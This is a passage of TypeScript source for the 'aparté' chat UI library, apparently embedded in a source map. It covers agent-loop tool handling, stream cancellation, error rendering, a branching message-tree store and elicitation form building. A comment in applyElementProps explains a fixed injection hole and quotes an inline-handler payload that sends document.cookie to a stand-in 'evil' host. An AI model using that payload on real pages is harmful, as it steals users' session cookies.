// A `break` inside the switch above leaves the SWITCH, not this\n // loop. Without this line a turn the loop already decided to\n // stop — a tool the human rejected, a per-tool turn limit, a\n // missing handler — went on to execute every remaining tool\n // call of the same turn: side effects ran after an explicit\n // refusal, and their results were appended to a stopped loop's\n // history. `runStreamAgent` exits its inner loop for the same\n // reasons; this is the core side of that agreement.\n if (!continueLoop) break;\n }\n\n // artifactXml finalize comes FIRST: its `scanning` branch pushes\n // held text back into the parser, which only works while the parser\n // can still be flushed. Same ordering as the engine twin, and the\n // parity suite now asserts the two agree.\n finalizeXmlArtifact(xmlCtx, { targetElement, messageId, artifactProgress, artifactXmlHint, textParser, streamingSegmentIds });\n\n // Finalize text parser\n const finals = textParser.finalize();\n\n // ── artifactRaw finalize ──────────────────────────────────────\n if (artifactRawHint && rawSegId) {\n const lineCount = rawContent.split('\\n').length;\n const isInline = lineCount < 15;\n targetElement.updateSegment?.(rawSegId, { content: rawContent, inline: isInline } as Partial<import('../types/segments.js').AparteArtifactSegment>);\n dispatchArtifactLifecycle(targetElement, messageId, {\n id: rawSegId, type: 'artifact',\n mimeType: artifactRawHint.mimeType, artifactType: artifactRawHint.kind,\n title: artifactRawHint.kind, content: rawContent, inline: isInline,\n } as import('../types/segments.js').AparteArtifactSegment, artifactProgress, true);\n }\n // ── END artifactRaw finalize ──────────────────────────────────\n\n\n // ── Artifact hint promotion (finalize) ───────────────────────\n // Handles the case where the code fence was not yet finalized\n // during streaming (e.g. stream ended without closing ```).\n if (artifactHint && !artifactPromoted) {\n const codeIdx = finals.findIndex(s => s.type === 'code');\n if (codeIdx !== -1) {\n const codeSeg = finals[codeIdx] as import('../types/segments.js').AparteCodeSegment;\n const promoted: import('../types/segments.js').AparteArtifactSegment = {\n id: codeSeg.id,\n type: 'artifact',\n mimeType: artifactHint.mimeType,\n artifactType: artifactHint.kind,\n title: codeSeg.filename ?? artifactHint.kind,\n content: codeSeg.content,\n };\n finals[codeIdx] = promoted;\n artifactPromoted = true;\n // Already in DOM as code block → re-render as artifact pill\n if (streamingSegmentIds.has(promoted.id)) {\n targetElement.updateSegment?.(promoted.id, promoted);\n }\n }\n }\n // ────────────────────────────────────────────────────────────\n\n for (const s of finals) {\n if (!streamingSegmentIds.has(s.id)) {\n targetElement.addSegment?.(s);\n } else if ('content' in s) {\n // finalize() appended the residual buffer — sync to DOM\n targetElement.updateSegment?.(s.id, { content: (s as { content?: string }).content });\n }\n if (s.type === 'artifact') {\n dispatchArtifactLifecycle(targetElement, messageId, s, artifactProgress, true);\n }\n }\n\n // Stop looping — or advance to the next pipeline phase\n if (toolCallsThisTurn.length === 0) {\n if (pipeline && pipelineIndex < pipeline.length - 1) {\n // Inject this turn's assistant reply as context for the next phase\n if (precedingText.trim()) {\n messages.push({ role: 'assistant', content: precedingText.trim() });\n }\n pipelineIndex++;\n // Show pulsing dots while we wait for the next phase.\n // The segment removes itself automatically via MutationObserver\n // when the next segment appears — no manual cleanup needed.\n const pwId = `pw-${uuid()}`;\n targetElement.addSegment?.({ id: pwId, type: 'pipeline-waiting' });\n // continueLoop stays true — next iteration handles the new phase\n } else {\n continueLoop = false;\n }\n }\n\n } finally {\n // Leaving before the stream ended on its own — a thrown error, a\n // rejected tool, a per-tool turn limit — used to just release the\n // lock, so the vendor happily kept generating (and billing) into a\n // body nobody would ever read. Releasing a reader does not stop a\n // stream; cancelling it does.\n if (!streamDrained) {\n try { await reader.cancel(); } catch { /* best effort */ }\n }\n reader.releaseLock();\n }\n }\n\n this._updateMessage(targetElement, messageId, { status: 'completed' });\n // Push usage onto the live bubble so the info action (stats popover)\n // is available immediately, even for consumers that don't listen for\n // `aparte-message-done`.\n if (lastUsage) {\n try {\n (targetElement as { setUsage?: (id: string, u: AparteUsage) => void })\n .setUsage?.(messageId, lastUsage);\n } catch { /* viewport may not implement setUsage */ }\n }\n return lastUsage;\n }\n\n /**\n * Delegate `_streamLoop`'s agentic loop to an injected {@link AparteStreamRunner},\n * rendering its DOM-free events through {@link createStreamAdapter}.\n * Builds the runner's dependencies from this client's config / provider /\n * transport; the adapter reproduces the inline loop's `targetElement.*` calls\n * (validated by the engine `stream-parity` suite). Leading writes (status\n * streaming, prefix segments) mirror the inline path; the runner's `run-start`\n * re-asserts `streaming` idempotently.\n */\n private async _runViaStreamRunner(\n streamRunner: AparteStreamRunner,\n targetElement: AparteChatTargetElement,\n messageId: string,\n provider: AparteAIProvider,\n baseRequest: AparteChatRequest,\n authConfig: string | Record<string, string> | undefined,\n streamController: AbortController,\n ): Promise<AparteUsage | undefined> {\n const signal = streamController.signal;\n\n // Leading writes: mirror the `status: 'streaming'` update and the\n // `prefixSegments` injection at the top of the inline `_streamLoop`.\n this._updateMessage(targetElement, messageId, { status: 'streaming' });\n const prefixSegments = baseRequest._meta?.['prefixSegments'] as AparteSegment[] | undefined;\n if (prefixSegments?.length) {\n for (const seg of prefixSegments) targetElement.addSegment?.(seg);\n }\n\n const artifactHint = baseRequest._meta?.artifactHint;\n const emitter = createStreamAdapter({\n target: targetElement as StreamAdapterTarget,\n config: this._config,\n messageId,\n artifactHint,\n });\n\n const transportCall = async (request: AparteChatRequest): Promise<AsyncIterable<AparteStreamEvent> | string> => {\n const response = await this._config.getTransport().chat(provider, request, authConfig, { providerId: provider.id, signal });\n return typeof response === 'string'\n ? response\n : readableToAsyncIterable(response as ReadableStream<AparteStreamEvent>, signal);\n };\n // Wrapped, so the INJECTED runner hands a handler the same context core's\n // inline loop does. Without this, `streamRunner: runStreamAgent` would be the\n // one configuration where `ask_user` still silently cancelled — a new\n // parity divergence introduced by fixing the old one.\n const toolLookup = (name: string) => {\n const handler = this._config.getToolHandler(name);\n if (!handler) return undefined;\n const context = { target: targetElement as unknown as HTMLElement, config: this._config };\n return (call: AparteToolCall, sig: AbortSignal) => handler(call, sig, context);\n };\n const toolConfigLookup = (name: string) => {\n const tool = this._config.getTools().find(t => t.name === name);\n return tool ? { maxTurns: tool.maxTurns, needsApproval: tool.needsApproval } : undefined;\n };\n const approvalResolver = this.options.approvalResolver\n ?? ((id: string, sig: AbortSignal) => this._awaitToolDecision(id, sig, targetElement as unknown as HTMLElement));\n\n const usage = await streamRunner({\n messageId,\n baseRequest,\n transportCall,\n toolLookup,\n toolConfigLookup,\n approvalResolver,\n emitter,\n signal,\n maxTurns: this.options.maxTurns,\n // Forwarded, because the option's own JSDoc promises it means one thing\n // whichever loop runs — and the fix that introduced it only wired the\n // inline path, so setting it was silently ignored here. Exactly the\n // asymmetry the option was added to remove.\n toolTimeoutMs: this.options.toolTimeoutMs,\n // Match the inline loop's id conventions: prefixed artifact ids, but a\n // BARE uuid for the synthetic tool (the adapter renders `tool-<id>`).\n idGen: (prefix) => (prefix === 'synthetic-tool' ? uuid() : `${prefix}-${uuid()}`),\n });\n return usage ?? undefined;\n }\n\n /**\n * Updates an existing message or appends a new error if ID lookup fails\n */\n private _updateMessage(target: AparteChatTargetElement, messageId: string, updates: Partial<AparteMessage>) {\n if (target.updateMessage) {\n target.updateMessage(messageId, updates);\n }\n }\n\n /**\n * Gracefully handles errors by updating the current message instead of duplicating it\n */\n private _handleLifecycleError(target: AparteChatTargetElement, messageId: string, error: AparteError) {\n // A valid AparteErrorSegment: the renderer keys off `id` + `content`, so the\n // old `code`/`data` fields were dead here (the full error — including\n // `error.data` — still reaches consumers via the `aparte-message-error` event\n // below). The error code is preserved as `details`.\n const errorSegment: AparteErrorSegment = {\n id: `error-${uuid()}`,\n type: 'error',\n content: error.message,\n details: error.code,\n };\n\n if (target.updateMessage) {\n /*\n * APPEND the error, never replace the reply.\n *\n * This used to pass `segments: [errorSegment]`, which destroyed\n * everything already streamed and rendered — text, the thinking block,\n * artifacts, resolved tool calls — the moment a provider emitted a\n * mid-stream `error` event, or a tool handler threw anything that was\n * not an `AbortError`.\n *\n * It is the same defect as \"Stop erased the reply\", fixed one release\n * earlier on the abort path and left standing on the error path. A\n * partial answer plus an error is the truth; an empty bubble with an\n * error in it is a lie about what the model said.\n */\n const rendered = target.getMessages?.()?.find(m => m.id === messageId)?.segments ?? [];\n target.updateMessage(messageId, {\n status: 'error',\n segments: [...rendered, errorSegment],\n });\n } else if (target.appendMessage) {\n // FALLBACK (V1) - Still try to be smart\n target.appendMessage({\n id: messageId,\n role: 'assistant',\n status: 'error',\n timestamp: Date.now(),\n segments: [errorSegment]\n });\n }\n\n dispatchLifecycleEvent(target, 'aparte-message-error', { messageId, error });\n }\n\n /** Warn once per client for an unrecognised stream event, then carry on. */\n private _warnedUnknownEvents = new Set<string>();\n private _warnUnknownStreamEvent(event: unknown): void {\n const type = String((event as { type?: unknown })?.type ?? 'undefined');\n if (this._warnedUnknownEvents.has(type)) return;\n this._warnedUnknownEvents.add(type);\n console.warn(\n `[AparteClient] Ignoring unrecognised stream event \"${type}\". The reply is`\n + ' unaffected; this usually means the provider or its SDK emits a part this'\n + ' version of aparté does not map yet.',\n );\n }\n}\n","/**\n * AparteMessageRepository — Conversation Tree Storage\n *\n * Manages the branching conversation tree while keeping AparteMessage pure\n * (no topology fields on the message itself). Inspired by assistant-ui's\n * AparteMessageRepository but adapted for the Aparte vanilla-TS stack.\n *\n * Internal structure: a doubly-linked tree where each node holds a pointer\n * to its parent (prev) and its active child (next). `children` stores all\n * sibling IDs. `head` is always the active leaf.\n *\n * getMessages() walks head → root via `prev` — O(depth), not O(n).\n */\n\nimport type { AparteMessage } from '../types/index.js';\n\n// ─── Internal node (never exposed outside) ──────────────────────────────────\n\ntype RepoNode = {\n /** Parent node (null = root) */\n prev: RepoNode | null;\n /** Currently active child */\n next: RepoNode | null;\n /** IDs of all children (branches) */\n children: string[];\n /** The message data */\n current: AparteMessage;\n /** Depth in the tree = index in the flat active-path array */\n level: number;\n};\n\ntype RepoRoot = {\n next: RepoNode | null;\n children: string[];\n};\n\n/** Exported format — compatible with serialisation */\nexport type ExportedMessageRepository = {\n headId: string | null;\n messages: Array<{ message: AparteMessage; parentId: string | null }>;\n};\n\n// ─── Helpers ─────────────────────────────────────────────────────────────────\n\n/** Walk `next` chain to find the deepest active node */\nfunction findHead(node: RepoNode | RepoRoot): RepoNode | null {\n if (node.next) return findHead(node.next);\n if ('current' in node) return node as RepoNode;\n return null;\n}\n\n// ─── Repository ──────────────────────────────────────────────────────────────\n\nexport class AparteMessageRepository {\n private _nodes = new Map<string, RepoNode>();\n private _head: RepoNode | null = null;\n private _root: RepoRoot = { next: null, children: [] };\n\n // ─── Public read API ────────────────────────────────────────────────────\n\n /** ID of the currently active leaf message */\n get headId(): string | null {\n return this._head?.current.id ?? null;\n }\n\n /**\n * Returns the messages on the currently active path, root → head.\n * O(depth).\n */\n getMessages(): AparteMessage[] {\n const depth = this._head?.level ?? -1;\n if (depth < 0) return [];\n const messages = new Array<AparteMessage>(depth + 1);\n for (let cur: RepoNode | null = this._head; cur; cur = cur.prev) {\n messages[cur.level] = cur.current;\n }\n return messages;\n }\n\n /**\n * Returns metadata about a specific message, or `undefined` if not found.\n *\n * Read methods (`getMessage`, `getMessageById`, `getBranches`) all return\n * `undefined` / `[]` for unknown ids — never throw — so callers can do a\n * single existence check at the top of a flow rather than wrapping every\n * call in try/catch.\n */\n getMessage(id: string): { parentId: string | null; message: AparteMessage; index: number } | undefined {\n const node = this._nodes.get(id);\n if (!node) return undefined;\n return {\n parentId: node.prev?.current.id ?? null,\n message: node.current,\n index: node.level,\n };\n }\n\n /**\n * Returns the mutable message reference, or `undefined` if not found.\n * Mutations to the returned object are reflected in `getMessages()`.\n */\n getMessageById(id: string): AparteMessage | undefined {\n return this._nodes.get(id)?.current;\n }\n\n /**\n * Returns the IDs of all siblings of `messageId`\n * (i.e. all children of its parent, including itself).\n * Use this to build branch-picker UI.\n */\n getBranches(messageId: string): string[] {\n const node = this._nodes.get(messageId);\n if (!node) return [];\n const parent = node.prev ?? this._root;\n return [...parent.children];\n }\n\n // ─── Public write API ───────────────────────────────────────────────────\n\n /**\n * Add a new message as a child of `parentId` (null = root).\n * If a message with the same id already exists, updates its data\n * and re-links it under the correct parent.\n */\n addOrUpdateMessage(parentId: string | null, message: AparteMessage): void {\n const existing = this._nodes.get(message.id);\n const parentNode = parentId ? this._nodes.get(parentId) : undefined;\n\n if (parentId !== null && parentNode === undefined) {\n throw new Error(`AparteMessageRepository: parent \"${parentId}\" not found.`);\n }\n\n // After the guard above, parentNode is either a valid RepoNode or undefined (null parentId case)\n const parent: RepoNode | null = parentNode ?? null;\n\n if (existing) {\n existing.current = message;\n this._relink(parent, existing);\n return;\n }\n\n const node: RepoNode = {\n prev: parent,\n next: null,\n children: [],\n current: message,\n level: parent ? parent.level + 1 : 0,\n };\n\n this._nodes.set(message.id, node);\n this._link(parent, node);\n\n // Auto-advance head to new node if it was the previous active leaf\n if (this._head === parent || (this._head === null && parent === null)) {\n this._head = node;\n }\n }\n\n /**\n * Switch the active branch to `messageId`.\n * Updates `next` on the parent chain so getMessages() reflects the change.\n * Advances `head` to the deepest active node in the new branch.\n *\n * Silent no-op for unknown ids — mutation methods (`switchToBranch`,\n * `resetHead`, `updateMessage`, `clearChildren`) never throw.\n */\n switchToBranch(messageId: string): void {\n const node = this._nodes.get(messageId);\n if (!node) return;\n const parentOrRoot = node.prev ?? this._root;\n parentOrRoot.next = node;\n this._head = findHead(node);\n }\n\n /**\n * Remove all descendants of `messageId` (inclusive) and set `head` to\n * the parent of `messageId`. Used by edit/truncate flows.\n *\n * @param messageId The first message to remove\n * @param newParentId Optional explicit parent to set head to\n */\n resetHead(messageId: string): void {\n const node = this._nodes.get(messageId);\n if (!node) return;\n\n // Delete all descendants first\n this._deleteDescendants(node);\n\n // Cut the node from its parent, clearing next BEFORE any findHead call.\n // Landing head on the parent with no active child is intentional for the\n // truncate/edit purpose (regenerate from the parent). Any OTHER sibling\n // branches of `messageId` are deliberately left in place — use\n // `clearChildren(parentId)` when you want to drop every branch instead.\n const parentOrRoot = node.prev ?? this._root;\n parentOrRoot.children = parentOrRoot.children.filter(id => id !== messageId);\n if (parentOrRoot.next === node) {\n parentOrRoot.next = null;\n }\n this._nodes.delete(messageId);\n\n // Move head to parent (null if the root was deleted)\n this._head = node.prev;\n }\n\n /**\n * Update a message's data without changing its position in the tree.\n */\n updateMessage(messageId: string, updates: Partial<AparteMessage>): void {\n const node = this._nodes.get(messageId);\n if (!node) return;\n node.current = { ...node.current, ...updates };\n }\n\n /**\n * Remove ALL children of `parentId` (and their descendants) and set head\n * to `parentId`. Used by edit to discard every previous response before\n * re-generating — ensures the new response starts with sibling count = 1.\n */\n clearChildren(parentId: string): void {\n const parent = this._nodes.get(parentId);\n if (!parent) return;\n // deleteDescendants only handles children-of-node, so iterate manually\n for (const childId of [...parent.children]) {\n const child = this._nodes.get(childId);\n if (child) {\n this._deleteDescendants(child);\n this._nodes.delete(childId);\n }\n }\n parent.children = [];\n parent.next = null;\n this._head = parent;\n }\n\n /** Remove all messages and reset to empty state. */\n clear(): void {\n this._nodes.clear();\n this._head = null;\n this._root = { next: null, children: [] };\n }\n\n /**\n * Import a previously-exported snapshot, rebuilding the full tree and\n * restoring the active head. Replaces any existing content (calls `clear()`\n * first). Messages must be in topological order (parent before child) —\n * this is guaranteed by `export()` since `_nodes` is an insertion-order\n * Map and parents are always inserted before their children.\n */\n import(exported: ExportedMessageRepository): void {\n this.clear();\n for (const { message, parentId } of exported.messages) {\n this.addOrUpdateMessage(parentId, message);\n }\n if (exported.headId) {\n this.switchToBranch(exported.headId);\n }\n }\n\n /**\n * Export the full tree for serialisation or debugging.\n * Compatible with the assistant-ui ExportedMessageRepository format.\n */\n export(): ExportedMessageRepository {\n const messages: Array<{ message: AparteMessage; parentId: string | null }> = [];\n this._nodes.forEach((node) => {\n messages.push({\n message: node.current,\n parentId: node.prev?.current.id ?? null,\n });\n });\n return { headId: this.headId, messages };\n }\n\n // ─── Private helpers ────────────────────────────────────────────────────\n\n private _link(parent: RepoNode | null, child: RepoNode): void {\n const parentOrRoot: RepoNode | RepoRoot = parent ?? this._root;\n parentOrRoot.children = [...parentOrRoot.children, child.current.id];\n // Auto-set active child if parent has none\n if (parentOrRoot.next === null) {\n parentOrRoot.next = child;\n }\n child.prev = parent;\n }\n\n private _relink(newParent: RepoNode | null, child: RepoNode): void {\n // Cut from old parent\n const oldParentOrRoot: RepoNode | RepoRoot = child.prev ?? this._root;\n if (oldParentOrRoot !== (newParent ?? this._root)) {\n oldParentOrRoot.children = oldParentOrRoot.children.filter(id => id !== child.current.id);\n if (oldParentOrRoot.next === child) {\n // The moved child was the active one — fall back to a remaining\n // sibling (or none). NOT `findHead(oldParentOrRoot)`: `next` still\n // points at `child` here, so findHead would walk into the subtree\n // being moved away and leave a dangling pointer.\n const nextId = oldParentOrRoot.children[0];\n oldParentOrRoot.next = nextId ? this._nodes.get(nextId) ?? null : null;\n }\n }\n // Attach to new parent\n child.prev = newParent;\n const newParentOrRoot: RepoNode | RepoRoot = newParent ?? this._root;\n if (!newParentOrRoot.children.includes(child.current.id)) {\n newParentOrRoot.children = [...newParentOrRoot.children, child.current.id];\n }\n if (newParentOrRoot.next === null) {\n newParentOrRoot.next = child;\n }\n this._updateLevels(child, newParent ? newParent.level + 1 : 0);\n }\n\n private _updateLevels(node: RepoNode, newLevel: number): void {\n node.level = newLevel;\n for (const childId of node.children) {\n const childNode = this._nodes.get(childId);\n if (childNode) this._updateLevels(childNode, newLevel + 1);\n }\n }\n\n private _deleteDescendants(node: RepoNode): void {\n for (const childId of node.children) {\n const child = this._nodes.get(childId);\n if (child) {\n this._deleteDescendants(child);\n this._nodes.delete(childId);\n }\n }\n node.children = [];\n node.next = null;\n }\n}\n","/**\n * Vanilla-DOM helpers shared by the framework wrappers' `AparteUi` pass-through\n * component. They live in core (zero-dep) so the four wrappers don't each carry\n * a byte-identical copy — only the framework-specific mounting differs.\n */\n\n/** The custom events aparté elements actually dispatch (verified against core). */\nexport const APARTE_DEFAULT_UI_EVENTS: readonly string[] = [\n 'aparte-send',\n 'aparte-action',\n 'aparte-retry',\n 'aparte-edit',\n 'aparte-branch-navigate',\n 'aparte-composer-change',\n 'aparte-path-changed',\n];\n\n/**\n * Apply props to an aparté custom element. aparté elements are\n * **attribute-driven** (`observedAttributes`): assigning a property is either a\n * silent no-op (nothing observes it) or throws outright on a getter-only\n * accessor — `<aparte-composer>`'s `placeholder`/`disabled` are exactly that.\n * So primitives go through `setAttribute`; only values an attribute cannot carry\n * (objects, functions) are handed over as properties. Keys starting with `--`\n * become CSS variables; `on…` function values are ignored (event forwarding is\n * the wrapper's job).\n *\n * `transformValue` is applied to object/function values before they're set as\n * properties — Vue passes `toRaw` to unwrap its reactive proxy (a deep proxy\n * breaks Maps/class internals on a plain custom element); it defaults to identity.\n */\nexport function applyElementProps(\n el: HTMLElement,\n props: Record<string, unknown>,\n transformValue: (value: unknown) => unknown = (value) => value,\n): void {\n for (const [key, value] of Object.entries(props)) {\n if (key.startsWith('--')) {\n el.style.setProperty(key, String(value));\n } else if (key.startsWith('on')) {\n // Event handlers belong on the wrapper's event forwarding, not here —\n // and this drops them WHATEVER their type.\n //\n // The guard used to be `&& typeof value === 'function'`, which let a\n // STRING through to `setAttribute` at the bottom of this chain:\n // `{ onclick: 'fetch(\"//evil/?\"+document.cookie)' }` became a live\n // inline handler. Consumers spread arbitrary prop bags into\n // `<AparteUi>` (React and Angular both), so those keys are not\n // necessarily authored by the app.\n //\n // A function was already ignored; ignoring the string too costs a\n // consumer nothing, because an `on*` string was never a working way to\n // attach a listener here in the first place.\n el.removeAttribute(key);\n } else if (value === null || value === undefined || value === false) {\n el.removeAttribute(key);\n } else if (value === true) {\n el.setAttribute(key, '');\n } else if (typeof value === 'object' || typeof value === 'function') {\n (el as unknown as Record<string, unknown>)[key] = transformValue(value);\n } else {\n el.setAttribute(key, String(value));\n }\n }\n}\n","import type { AparteMessage } from '../types/index.js';\n\n/**\n * Is this message waiting for a reply — i.e. should the bubble render as\n * in-progress (waiting indicator, `aria-busy`, no action bar) rather than as a\n * finished answer?\n *\n * Two clauses:\n *\n * 1. **Stated**: `status` is `'streaming'` or `'pending'`. This is exactly the\n * condition every call site used before this helper existed, role included, so\n * no existing behaviour shifts.\n * 2. **Inferred**: an **assistant** message with **no `status` at all** and nothing\n * in it — no `content`, no `segments`. That is the empty shell a token stream is\n * about to fill (`appendMessage({ role: 'assistant', content: '' })` from a\n * hand-rolled loop). It used to render as a completed reply, action bar and all,\n * on a message that had never said anything.\n *\n * Only silence is interpreted. An explicit `status` — including `'completed'` on an\n * empty message — is the application talking, and is believed.\n */\nexport function isAwaitingReply(message: Pick<AparteMessage, 'role' | 'status' | 'content' | 'segments'>): boolean {\n if (message.status === 'streaming' || message.status === 'pending') return true;\n return message.status === undefined\n && message.role === 'assistant'\n && !message.content?.trim()\n && !message.segments?.length;\n}\n","/**\n * buildElicitationPanel — turns an {@link AparteElicitationSchema} into a DOM panel\n * that the presenter mounts into the composer. Zero-dependency; covers all four\n * schema kinds (enum, boolean, string, object). The presenter reads `getContent`\n * on submit and `isComplete` to gate the send button (via `onChange`).\n */\n\nimport type {\n AparteElicitationSchema,\n AparteElicitationField,\n AparteElicitationEnumField,\n AparteElicitationBooleanField,\n AparteElicitationStringField,\n} from './types.js';\nimport { uuid } from '../utils/uuid.js';\nimport { contextConfig } from '../config/config-context.js';\n\nexport interface BuiltElicitationPanel {\n readonly el: HTMLElement;\n /**\n * The corner where the presenter puts its escape from the WHOLE request.\n *\n * Top-right, away from anything that answers a question — and the position is the\n * whole point. This affordance lived in a row at the bottom, beside the button\n * that advances through the form, and adjacency made a promise the behaviour does\n * not keep: next to \"next question\", \"Skip\" reads as \"skip THIS question\", while\n * it declines everything (MCP's `decline`, including questions already answered).\n *\n * That is also why the reference implementations put theirs in a corner, which I\n * had read as a preference for the glyph. It is not about the glyph.\n *\n * A row at the bottom is gone with it, and so is the reserved height it needed:\n * with the composer's own button carrying advance-then-submit, the panel has no\n * action of its own left to place.\n */\n readonly dismiss: HTMLElement;\n /** The current response content, shaped to match the schema. */\n getContent(): unknown;\n /** True when every required field has a usable value. */\n isComplete(): boolean;\n /** Focus the first input (called after mount). */\n focus(): void;\n /**\n * What the composer's one button means on the question currently shown:\n * `'advance'` while there are more questions ahead, `'submit'` on the last.\n *\n * The composer already has a button, in a place the user knows, and it already\n * changes meaning (send / stop / submit). Giving it a fourth — advance — is why\n * this panel needs no \"Next\" of its own: no second row, no height that changes,\n * and the tabs stay for jumping around. It also makes the button honest, which a\n * check on a form with three questions left was not.\n */\n mode(): 'advance' | 'submit';\n /** Whether that button is enabled: this question answered, or all of them. */\n canProceed(): boolean;\n /** Act on it. Advancing shows the next question; submitting is the presenter's. */\n proceed(): void;\n}\n\ninterface BuiltField {\n readonly el: HTMLElement;\n getValue(): unknown;\n isComplete(): boolean;\n focus(): void;\n}\n\nfunction el<K extends keyof HTMLElementTagNameMap>(tag: K, className?: string, text?: string): HTMLElementTagNameMap[K] {\n const node = document.createElement(tag);\n if (className) node.className = className;\n if (text != null) node.textContent = text;\n return node;\n}\n\n/**\n * Write the field's title and description, and return the id of the title.\n *\n * The id is what lets a group of radios be NAMED by its question. Without it the\n * options were announced with nothing attached to them: a screen reader read\n * \"Chromium, radio button, 1 of 2\" and never the question it answered, because\n * nothing tied the `<p>` above the list to the list itself.\n */\nfunction fieldHeader(parent: HTMLElement, field: AparteElicitationField, skipTitle?: string): string | undefined {\n let titleId: string | undefined;\n // A single-question request carries the question in the panel's MESSAGE, and the\n // adapter also sets it as the field's title so a stepped form can label its\n // chips — so the same sentence was printed twice, one line apart. Whoever set\n // both meant one question, not two.\n if (field.title && field.title.trim() !== skipTitle?.trim()) {\n const title = el('p', 'aparte-elic-title', field.title);\n titleId = `elic-title-${uuid()}`;\n title.id = titleId;\n parent.appendChild(title);\n }\n if (field.description) parent.appendChild(el('p', 'aparte-elic-desc', field.description));\n return titleId;\n}\n\n/**\n * Name a group of choices, and say what kind of group it is.\n *\n * `radiogroup` is only correct for radios; a multi-select is a plain `group`. The\n * name comes from the field's own title when it has one (the multi-question form),\n * and otherwise from the panel's message — which IS the question in the\n * single-question form, and would otherwise leave the group unnamed.\n */\nfunction labelGroup(list: HTMLElement, opts: { multiple?: boolean; titleId?: string; fallbackLabel?: string }): void {\n list.setAttribute('role', opts.multiple ? 'group' : 'radiogroup');\n if (opts.titleId) list.setAttribute('aria-labelledby', opts.titleId);\n else if (opts.fallbackLabel) list.setAttribute('aria-label', opts.fallbackLabel);\n}\n\n// ─── enum ────────────────────────────────────────────────────────────────────\n\nfunction buildEnumField(field: AparteElicitationEnumField, onChange: () => void, fallbackLabel?: string): BuiltField {\n const wrap = el('div', 'aparte-elic-field aparte-elic-enum');\n const titleId = fieldHeader(wrap, field, fallbackLabel);\n const list = el('div', 'aparte-elic-options');\n labelGroup(list, { multiple: field.multiple, titleId, fallbackLabel });\n const name = `elic-${uuid()}`;\n const type = field.multiple ? 'checkbox' : 'radio';\n // The field wins when it says something — that is the APP calling\n // `requestUserInput` directly. Otherwise it is the host's policy, not a\n // hardcoded `true` and no longer anything the model can decide.\n const allowOther = field.allowOther ?? contextConfig().getElicitationOptions().allowOther;\n const defaults = new Set(Array.isArray(field.default) ? field.default : field.default != null ? [field.default] : []);\n\n const buildOption = (value: string, label: string, description?: string, recommended?: boolean): HTMLElement => {\n const row = el('label', 'aparte-elic-option' + (recommended ? ' aparte-elic-option--recommended' : ''));\n const control = el('input', 'aparte-elic-control');\n control.type = type;\n control.name = name;\n control.value = value;\n if (defaults.has(value)) control.checked = true;\n const body = el('span', 'aparte-elic-option-body');\n body.appendChild(el('span', 'aparte-elic-option-title', label));\n if (description) body.appendChild(el('span', 'aparte-elic-option-desc', description));\n row.append(control, body);\n return row;\n };\n\n for (const opt of field.options) {\n list.appendChild(buildOption(opt.value, opt.label ?? opt.value, opt.description, opt.recommended));\n }\n\n // Free-text \"Other…\" fallback.\n let otherText: HTMLInputElement | null = null;\n if (allowOther) {\n const row = el('label', 'aparte-elic-option aparte-elic-option--other');\n const control = el('input', 'aparte-elic-control');\n control.type = type;\n control.name = name;\n control.value = '__other__';\n const body = el('span', 'aparte-elic-option-body');\n // Localised, like every other string the user reads. These four were\n // hardcoded English, which showed as an English \"Other…\" and \"Skip\" above\n // questions in the user's own language — visible the first time a French\n // model asked something. The locale keys are OPTIONAL, so an existing\n // locale package keeps compiling and falls back to English per key.\n const t = contextConfig();\n body.appendChild(el('span', 'aparte-elic-option-title', t.t('elicitationOther')));\n otherText = el('input', 'aparte-elic-other-input');\n otherText.type = 'text';\n otherText.placeholder = t.t('elicitationOtherPlaceholder');\n otherText.style.display = 'none';\n otherText.setAttribute('aria-label', t.t('elicitationOtherLabel'));\n body.appendChild(otherText);\n row.append(control, body);\n list.appendChild(row);\n }\n wrap.appendChild(list);\n\n const controls = () => Array.from(list.querySelectorAll<HTMLInputElement>('.aparte-elic-control'));\n const other = () => list.querySelector<HTMLInputElement>('input[value=\"__other__\"]');\n list.addEventListener('change', () => {\n const o = other();\n if (o && otherText) {\n otherText.style.display = o.checked ? '' : 'none';\n if (o.checked) otherText.focus();\n }\n onChange();\n });\n otherText?.addEventListener('input', onChange);\n\n const getValue = (): string | string[] => {\n const otherVal = other()?.checked && otherText?.value.trim() ? otherText.value.trim() : '';\n if (field.multiple) {\n const vals = controls().filter(c => c.checked && c.value !== '__other__').map(c => c.value);\n if (otherVal) vals.push(otherVal);\n return vals;\n }\n const checked = controls().find(c => c.checked);\n if (!checked) return '';\n return checked.value === '__other__' ? otherVal : checked.value;\n };\n\n return {\n el: wrap,\n getValue,\n isComplete: () => {\n const v = getValue();\n return field.multiple ? (v as string[]).length > 0 : v !== '';\n },\n focus: () => controls()[0]?.focus(),\n };\n}\n\n// ─── boolean ───────────────────────────────────────────────────────────────\n\nfunction buildBooleanField(field: AparteElicitationBooleanField, onChange: () => void, fallbackLabel?: string): BuiltField {\n const wrap = el('div', 'aparte-elic-field aparte-elic-boolean');\n const titleId = fieldHeader(wrap, field, fallbackLabel);\n const list = el('div', 'aparte-elic-options');\n labelGroup(list, { titleId, fallbackLabel });\n const name = `elic-${uuid()}`;\n const mk = (val: 'true' | 'false', label: string): void => {\n const row = el('label', 'aparte-elic-option');\n const control = el('input', 'aparte-elic-control');\n control.type = 'radio';\n control.name = name;\n control.value = val;\n if (field.default != null && String(field.default) === val) control.checked = true;\n const body = el('span', 'aparte-elic-option-body');\n body.appendChild(el('span', 'aparte-elic-option-title', label));\n row.append(control, body);\n list.appendChild(row);\n };\n const t = contextConfig();\n mk('true', field.trueLabel ?? t.t('elicitationYes'));\n mk('false', field.falseLabel ?? t.t('elicitationNo'));\n wrap.appendChild(list);\n list.addEventListener('change', onChange);\n\n const checked = () => list.querySelector<HTMLInputElement>('input:checked');\n return {\n el: wrap,\n getValue: () => checked()?.value === 'true',\n isComplete: () => checked() != null,\n focus: () => list.querySelector<HTMLInputElement>('input')?.focus(),\n };\n}\n\n// ─── string ────────────────────────────────────────────────────────────────\n\nfunction buildStringField(field: AparteElicitationStringField, onChange: () => void, fallbackLabel?: string): BuiltField {\n const wrap = el('div', 'aparte-elic-field aparte-elic-string');\n fieldHeader(wrap, field, fallbackLabel);\n const input = field.multiline\n ? el('textarea', 'aparte-elic-text')\n : el('input', 'aparte-elic-text');\n if (!field.multiline) (input as HTMLInputElement).type = 'text';\n if (field.placeholder) input.setAttribute('placeholder', field.placeholder);\n if (field.default) (input as HTMLInputElement | HTMLTextAreaElement).value = field.default;\n if (field.maxLength != null) input.setAttribute('maxlength', String(field.maxLength));\n // The visible title is a `<p>`, not a `<label for>`, so the input needs its own\n // accessible name — and the panel's message is the question in the\n // single-question form. 